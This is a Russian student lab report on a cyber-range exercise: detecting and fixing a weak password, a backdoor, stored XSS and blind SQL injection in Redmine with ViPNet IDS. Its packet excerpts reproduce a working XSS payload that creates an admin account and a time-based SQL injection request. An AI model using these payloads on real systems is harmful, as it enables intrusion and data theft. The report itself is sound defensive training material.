Отчет по лабораторной работе №1-С «ЗАЩИТА НАУЧНО-ТЕХНИЧЕСКОЙ ИНФОРМАЦИИ ПРЕДПРИЯТИЯ»

Кибербезопасность предприятия

Александрова У.В.,

Волгин И.А,

Голощапов Я.В.,

Дворкина Е.В.,

Серегина И.А.

Содержание

# 1. Цель работы

Целью данной лабораторной работы является освоение практических навыков выявления, анализа и устранения уязвимостей информационных систем в рамках сценария «Защита научно-технической информации предприятия».

# 2. Задание

* Обнаружить, проанализировать и закрыть уязвимости:
  1. Слабый пароль пользователя;
  2. XSS (CVE-2019-17427);
  3. Blind SQL (CVE-2019-18890).
* Определить и устранить последствия эксплуатации уязвимостей:
  1. Developer backdoor (последствие уязвимости 1);
  2. Redmine User (последствие уязвимости 2).
* Разработать и применить меры по устранению выявленных уязвимостей.

# 3. Теоретическое введение

**VipNet IDS** (Intrusion Detection System) — это система обнаружения вторжений для защиты информационных систем от несанкционированного доступа и атак. VipNet IDS предназначена для мониторинга сетевого трафика в реальном времени, выявления подозрительной активности, анализа сигнатур известных атак и аномального поведения, а также генерации оповещений и рекомендаций по реагированию. Система интегрируется с другими компонентами комплекса VipNet, обеспечивая многоуровневую защиту корпоративной инфраструктуры [1].

**Слабый пароль пользователя** — типичная проблема конфигурации, при которой используется легко угадываемый или стандартный пароль (например, «admin», «123456» и т.п.). Такая уязвимость позволяет злоумышленнику получить несанкционированный доступ к учётной записи и, как следствие, к системе в целом.

**XSS (межсайтовый скриптинг), CVE-2019-17427** — уязвимость в веб-приложении Redmine, позволяющая внедрять вредоносный JavaScript-код в веб-страницы, просматриваемые другими пользователями. Эксплуатация этой уязвимости может привести к краже сессионных cookie, подмене контента или выполнению действий от имени жертвы.

**Blind SQL Injection, CVE-2019-18890** — уязвимость в Redmine, связанная с недостаточной фильтрацией пользовательского ввода, что позволяет злоумышленнику выполнять произвольные SQL-запросы к базе данных через слепые (blind) методы. Последствия включают извлечение, модификацию или удаление конфиденциальных данных, а также потенциальный выход за пределы приложения (например, выполнение команд ОС при определённых условиях).

**Developer backdoor** — наличие скрытого (часто не задокументированного) входа, оставленного разработчиком, может позволить злоумышленнику обойти стандартные механизмы аутентификации и получить полный контроль над системой.

**Redmine User** — компрометация учётной записи пользователя Redmine (например, через XSS или слабый пароль) даёт доступ к проектной документации, задачам, исходному коду и другим конфиденциальным данным, что особенно критично в контексте защиты научно-технической информации предприятия.

# 4. Выполнение лабораторной работы

## 4.1 Обнаружение уязвимостей

Уязвимости и последствия будут детектироваться в основном с помощью ViPNet IDS NS, далее записываться в карточки инцидентов [2].

Для обнаружения актуальной подозрительной активности пользуемся фильтрами по дате, времени и важности ([рис. 1](#fig-012)).

|  |
| --- |
| Рисунок 1: Установка фильтров |

### 4.1.1 Обнаружение уязвимости “Слабый пароль пользователя”

По сценарию нам известно, что

1. Внутренний нарушитель подбирает пароль на файловый сервер и меняет существующий на сервере файл другим файлом с backdoor (дефектом алгоритма).
2. Пользователь Dev-1 загружает и запускает файл с backdoor.
3. Внутренний нарушитель получает контроль над компьютером пользователя Dev-1 и загружает скрипт для похищения учетных данных из браузера. Запускает данный скрипт, получает логин и пароль к Redmine.

Сначала было обнаружено сканирование системы и множество одинаковых событий со стороны 10.10.4.11 (узел менеджера) на 10.10.2.12 (файловый сервер), что может указывать на попытки подбора пароля. Далее Замечено событие класса “successful-admin”, которое указывает на то, что пользователь успешно вошел в систему, подобрав пароль ([рис. 2](#fig-101)). Кроме того, видим действия между узлами 10.10.4.11, 10.10.2.12, 10.10.4.13 (Developer Workstation), которые также указывают, что был скомпрометирован пароль от компьютера Developer Workstation.

А в пакетах к этому событию увидим: Windows PowerShell running as user dev1 on DEV-ARM-01. Еще одно подтверждение.

|  |
| --- |
| Рисунок 2: Обнаружение входа в систему |

Заполним карточку инцидента. Так как пароль был подобран, то уязвимость - слабый пароль пользователя. Рекомендации по устранению - изменить пароль на более сложный ([рис. 3](#fig-015)).

|  |
| --- |
| Рисунок 3: Карточка инцидента |

### 4.1.2 Обнаружение последствия “Developer backdoor”

В последующих событиях можем видеть создание исполняемого файла на файловом сервере 10.10.2.12 и обращения к нему ([рис. 4](#fig-013))

|  |
| --- |
| Рисунок 4: Детектирование создания неизвестного файла |

Также находим событие класса trojan-activity (LaZagne), указывающее на часть атаки, запускающую программу для извлечения информации из браузера ([рис. 5](#fig-014)).

LaZagne — это приложение с открытым исходным кодом, используемое для получения множества паролей, хранящихся на локальном компьютере [3].

|  |
| --- |
| Рисунок 5: Обнаружение файла с backdoor |

Заполним карточку инцидента. Первичные рекомендации по устранению последствия - удаление исполняемого файла с backdoor и остановка его работы ([рис. 6](#fig-016)).

|  |
| --- |
| Рисунок 6: Карточка инцидента |

### 4.1.3 Обнаружение уязвимости “XSS (CVE-2019-17427)”

1. Внутренний нарушитель проводит атаку stored XSS для включения на Redmine сервере REST API. Вредоносный код записывается на Wikiстраницу проекта Dev1. Получив доступ к консоли администратора, внутренний нарушитель создает нового пользователя Redmine с правами администратора.

Далее видим события с источником - 10.10.4.11 (предполагаемый нарушитель, менеджер), получателем - 10.10.2.15 (сервер Redmine, к нему по сценарию нарушитель получил доступ). Это события AM EXPLOIN Possible Redmine <v4.0.4 XSS и событие AM EXPLOIT Generic Possible XSS in HTTP Body: они говорят о том, что эксплуатируется уязвимость Redmine, существующая в версиях до 4.0.4, позволяющая внедрять вредоносный JavaScript-код в веб-страницы, просматриваемые другими пользователями ([рис. 7](#fig-017)).

Также в пакетах к этому событию увидим:

POST /projects/dev1/wiki/Wiki/ HTTP/1.1  
Host: redmine.ampire.corp  
User-Agent: python-requests/2.31.0  
...  
Content-Type: multipart/form-data;

Это http-запрос на сервер Redmine с отправкой формы с данными

--8148d7a1c05d09d7c466c127bc05f0b7  
Content-Disposition: form-data; name="content[text]"  
  
<pre onfocusin="let xhr=new XMLHttpRequest;xhr.onreadystatechange=function(){if(4===xhr.readyState){doc=document.implementation.createHTMLDocument(''),doc.documentElement.innerHTML=xhr.responseText,value=doc.getElementsByName('authenticity\_token');var e=encodeURIComponent(value[3].value);fetch('http://redmine.ampire.corp/users/',{method: 'POST', credentials: 'include', headers: {'Content-type':'application/x-www-form-urlencoded'}, body:'utf8=?&authenticity\_token='+e+'&user[login]=hacker&user[firstname]=hacker&user[lastname]=hacker&user[mail]=hacker%40hacker.ru&user[language]=en&user[admin]=0&user[admin]=1&user[password]=hackerhacker&user[password\_confirmation]=hackerhacker&user[generate\_password]=0&user[must\_change\_passwd]=0&user[mail\_notification]=only\_my\_events&user[notified\_project\_ids][]=&pref[no\_self\_notified]=0&pref[no\_self\_notified]=1&pref[hide\_mail]=0&pref[hide\_mail]=1&pref[time\_zone]=&pref[comments\_sorting]=asc&pref[warn\_on\_leaving\_unsaved]=0&pref[warn\_on\_leaving\_unsaved]=1&continue=Create+and+continue'});let n=new XMLHttpRequest;var t='utf8=?&authenticity\_token='+e+'&settings[rest\_api\_enabled]=0&settings[rest\_api\_enabled]=1&settings[jsonp\_enabled]=0&commit=Save';n.open('POST','http://redmine.ampire.corp/settings/edit?tab=api',!0),n.setRequestHeader('Content-type','application/x-www-form-urlencoded'),n.onreadystatechange=function(){4==n.readyState&&200==n.status&&console.log('Success!')},n.send(t)}},xhr.open('GET','http://redmine.ampire.corp/settings?tab=api'),xhr.send();" tabindex=1 style='height:1000px;width:1000px;' class=  
--8148d7a1c05d09d7c466c127bc05f0b7  
Content-Disposition: form-data; name="content[comments]"  
  
--8148d7a1c05d09d7c466c127bc05f0b7  
Content-Disposition: form-data; name="commit"  
  
Save  
--8148d7a1c05d09d7c466c127bc05f0b7  
Content-Disposition: form-data; name="attachments[dummy][file]"; filename=""  
Content-Type: application/octet-stream

А это изменение кода и коммит с сохранением (Save) изменений в коде.

|  |
| --- |
| Рисунок 7: Обнаружение эксплуатации уязвимости |

Также можем зайти через SSH подключение (работа в терминале) на сервер Redmine и проверить файл production.log (cd /var/www/redmine-3.4.4/..., cat production log) ([рис. 8](#fig-104)). В этом файле увидим сильно отличающиеся от остальных этапы, говорящие о внедрении JS кода.

|  |
| --- |
| Рисунок 8: Обнаружение эксплуатации уязвимости через логи |

Составляем карточку уязвимости ([рис. 9](#fig-018)), общее описание и рекомендации можно найти на сайте AMTIP [4] ([рис. 10](#fig-019)).

|  |
| --- |
| Рисунок 9: Карточка уязвимости |

|  |
| --- |
| Рисунок 10: Общее описание уязвимости |

### 4.1.4 Обнаружение последствия “Redmine User”

Уже в ходе работы на сервере Redmine (подключение через WEB) было замечено следующее:

При переходе в проект DEV1 во вкладке wiki включен REST API ([рис. 11](#fig-103)), а также в коде упоминается пользователь с именем hacker ([рис. 12](#fig-020)), этого же странного пользователя мы обнаружим и в списках пользователей, кроме того, у него есть права администратора ([рис. 13](#fig-021)). Этот же код мы видели в пакете события.

|  |
| --- |
| Рисунок 11: Обнаружение REST API |

|  |
| --- |
| Рисунок 12: Упоминание пользователя в коде |

|  |
| --- |
| Рисунок 13: Подозрительный пользователь с правами администратора |

Заполняем карточку инцидента, в рекомендациях удаление нового пользователя ([рис. 14](#fig-022)).

|  |
| --- |
| Рисунок 14: Карточка инцидента |

### 4.1.5 Обнаружение уязвимости “Blind SQL (CVE-2019-18890)”

1. Внутренний нарушитель ожидает, когда администратор просмотрит страницу с внедренным вредоносным кодом.
2. Внутренний нарушитель проводит Blind SQL-инъекцию, получает доступ к данным конфиденциального проекта.

Мы видим в событиях большое количество SQL запросов типа SELECT SLEEP и SELECT FROM от сервера 10.10.4.11 (нарушитель) на сервер Redmine 10.10.2.15, количество и постоянство которых настораживает ([рис. 15](#fig-105)).

|  |
| --- |
| Рисунок 15: SQL-запросы |

В пакетах к запросам увидим:

GET /issues.xml?project\_id=1&subproject\_id=2,3-IF%20((select%20description%20from%20issues%20where%20subject%20like%20%22SECRET%25%22)%20like%20%224%25%22,%20SLEEP(5),%20null); HTTP/1.1  
Host: redmine.ampire.corp  
User-Agent: python-requests/2.31.0

Этот пакет указывает на попытку BLIND-SQL-инъекции через API Redmine, с целью извлечения данных из таблицы issues (например, описаний задач с заголовками, начинающимися на SECRET). Использование SLEEP(5) позволяет злоумышленнику косвенно определять, выполняются ли условия, на основе времени ответа сервера.

При заполнении карточки уязвимости ([рис. 16](#fig-107)) ссылаемся на гитхаб [5] ([рис. 17](#fig-025)).

|  |
| --- |
| Рисунок 16: Карточка инцидента |

|  |
| --- |
| Рисунок 17: Источник информации об уязвимости |

## 4.2 Устранение уязвимостей и их последствий

### 4.2.1 Уязвимость Слабый пароль пользователя DEV-1

Для закрытия уязвимости меняем пароль на более сложный, не содержащийся в словаре. Для изменения пароля на сервере MS Active Directory подключаемся к нему через удаленный рабочий стол. Открываем на нем «Active Directory Users and Computers» через комбинацю Win+R и ввод в поиск dsa.msc, переходим в users, находим dev1, меняем пароль для пользователя dev1 ([рис. 18](#fig-001)), ([рис. 19](#fig-002)).

|  |
| --- |
| Рисунок 18: Пользователь dev1 |

|  |
| --- |
| Рисунок 19: Смена пароля |

### 4.2.2 Последствие “Developer backdoor”

Через удаленный рабочий стол переходим на сервер Developer (10.10.4.13), на сервере через Win+R и ввод в поиск taskschd.msc сможем открыть планировщик задач ([рис. 20](#fig-108)).

Нарушитель может создать сервис, автоматически запускающий исполняемый файл, который устанавливает Reverse Shell подключение. Новая задача, записанная нарушителем, находится на узле Developer 1 в планировщике задач ([рис. 21](#fig-003)).

|  |
| --- |
| Рисунок 20: Запуск исполняемого файла в планировщике |

|  |
| --- |
| Рисунок 21: Запуск исполняемого файла в планировщике |

Удаляем задачу в планировщике, и теперь надо удалить файл. Во вкладке action мы обнаружили путь к файлу C:\Users\dev1\Downloads\svchosting.exe, благодаря этому нашли его и удалили.

|  |
| --- |
| Рисунок 22: Путь к исполняемому файлу |

### 4.2.3 Уязвимость атака XSS

Для устранения этой уязвимости нам нужно будет зайти на Redmine и через веб-браузер, и через консоль по ssh подключению.

В Redmine до версии 4.0.4 постоянный XSS существует из-за ошибок форматирования при работе с textile текстом. В данном сценарии используется для включения REST API для эксплуатации следующей уязвимости ([рис. 23](#fig-004)).

|  |
| --- |
| Рисунок 23: Пример добавления кода, выводящего на экран надпись XSS в wiki-страницу |

Для устранения этой уязвимости необходимо внести изменения в код Redmine. Необходимо найти обработку текста wiki-страницы при наличии в тексте html-тегов. Из описания уязвимости понятно, что необходимо найти библиотеку для преобразования textile разметки в html. В Redmine за данное преобразование отвечает файл redcloth3.rb. Для устранения изменим в нем (все изменения через nano \var\www\redmine-3.3.4\lib\redcloth3.rb) следующие строки ([рис. 24](#fig-005)). Удаляем тег pre из разрешенных тегов, версию правильного кода можем подсмотреть на github: https://github.com/redmine/redmine/blob/master/lib/redmine/wiki\_formatting/textile/redcloth3.rb [6].

|  |
| --- |
| Рисунок 24: Содержимое файла redcloth3.rb |

Код, исправляющий уязвимость CVE-2019-17427:

ALLOWED\_TAGS = %w(redpre pre code kbd notextile)  
 def escape\_html\_tags(text)  
 text.gsub!(%r{<(\/?([!\w]+)[^<>\n]\*)(>?)}) do |m|  
 if ALLOWED\_TAGS.include?($2) && $3.present?  
 "<#{$1}#{$3}"  
 else  
 "<#{$1}#{'>' unless $3.blank?}"  
 end  
 end  
 end

|  |
| --- |
| Рисунок 25: Исправления в файле redcloth3.rb |

После внесения изменений необходимо перезапустить службу веб-сервера sudo systemctl restart nginx.service. Видим, что уязвимость успешно устранена, так как изменилось отображение страницы на Redmine Wiki ([рис. 26](#fig-007)).

|  |
| --- |
| Рисунок 26: Успешное устранение уязвимости |

### 4.2.4 Последствие “Redmine User”

Нарушитель создал пользователя на портале Redmine. Пользователь, обладающий правами администратора, имеет неограниченный доступ к пользовательской базе. Для обнаружения добавления нового привилегированного пользователя заходим в консоль администратора Redmine, переходим в раздел «Administration» – «Users» и смотрим список существующих пользователей ([рис. 27](#fig-008)).

|  |
| --- |
| Рисунок 27: Список пользователей Redmine |

Удаляем пользователя hacker через веб-интерфейс, успешно нейтрализуя последствие Redmine User.

### 4.2.5 Уязвимость Blind SQL-инъекция

Эксплуатируемая уязвимость – CVE-2019-18890.

В Redmine до версии 3.2.9 и 3.3.x до версии 3.3.10 уязвимость позволяет пользователям Redmine получать доступ к защищенной информации с помощью сгенерированного объектного запроса. Уязвимость реализуется посимвольным перебором с замером времени ответа. В данном сценарии данная уязвимость используется для получения конфиденциальной информации из БД, минуя разграничение доступа Redmine. Время прихода пакета является индикатором: при запоздании пакета – символ подобран верно, иначе – перебор продолжается ([рис. 28](#fig-106)). Попробуем сделать SQL запрос на WEB сервер Redmine SLEEP(2) (с помощью ссылки http://redmine.ampire.corp/issues.xml?project\_id=1&subproject\_id=2,3-SLEEP(2)), увидим, что время ожидания ответа возрастает почти до 9 секунд, что свидетельствует об инъекции.

|  |
| --- |
| Рисунок 28: SQL-запрос |

Для устранения этой уязвимости необходимо внести изменения в код Redmine. Снова через SSH заходим на Redmine с помощью консоли. Исходя из адреса и запроса следует найти местоположение скрипта, где происходит обработка параметра subproject\_id. В данном случае рассмотрен файл \var\www\redmine-3.3.4\app\models\query.rb [6].

Вносим изменения в код, добавляя фильтрацию значений ([рис. 29](#fig-010)), ([рис. 30](#fig-011)), и после перезапуска веб-сервера через команду sudo systemctl restart nginx.service уязвимость устраняется. (Зачеркнут продублированный инцидент)

|  |
| --- |
| Рисунок 29: Содержимое файла query.rb до исправления уязвимости |

|  |
| --- |
| Рисунок 30: Содержимое файла query.rb с исправлением уязвимости |

## 4.3 Результат

После выполнения всех приведенных выше действий получим, что мы закрыли все обнаруженные инциденты ([рис. 31](#fig-110)), и, соответственно, устранили уязвимости и последствия, предполагаемые этой лабораторной работой ([рис. 32](#fig-111)).

|  |
| --- |
| Рисунок 31: Закрытые инциденты |

|  |
| --- |
| Рисунок 32: Устраненные уязвимости и последствия |

# 5. Выводы

В ходе выполнения лабораторной работы были успешно достигнуты поставленные цели: освоены практические навыки выявления, анализа и устранения типовых уязвимостей информационной системы. В рамках сценария «Защита научно-технической информации предприятия» были обнаружены и закрыты критические уязвимости и их последствия эксплуатации.

# Список литературы

1. Сетевой сенсор системы обнаружения атак программно-аппаратный комплекс ViPNet IDS NS 3. infotecs. 321 с.

2. Программный комплекс обучения методам обнаружения, анализа и устранения последствий компьютерных атака "Ampire". Сценарий №5 «ЗАЩИТА НАУЧНО-ТЕХНИЧЕСКОЙ ИНФОРМАЦИИ ПРЕДПРИЯТИЯ» [Электронный ресурс]. O’Reilly Media. 24 с.

3. The LaZagne Project [Электронный ресурс]. 2015.

4. AMTIP [Электронный ресурс].

5. CVE-2019-18890 POC (Proof of Concept) [Электронный ресурс].

6. Redmine [Электронный ресурс].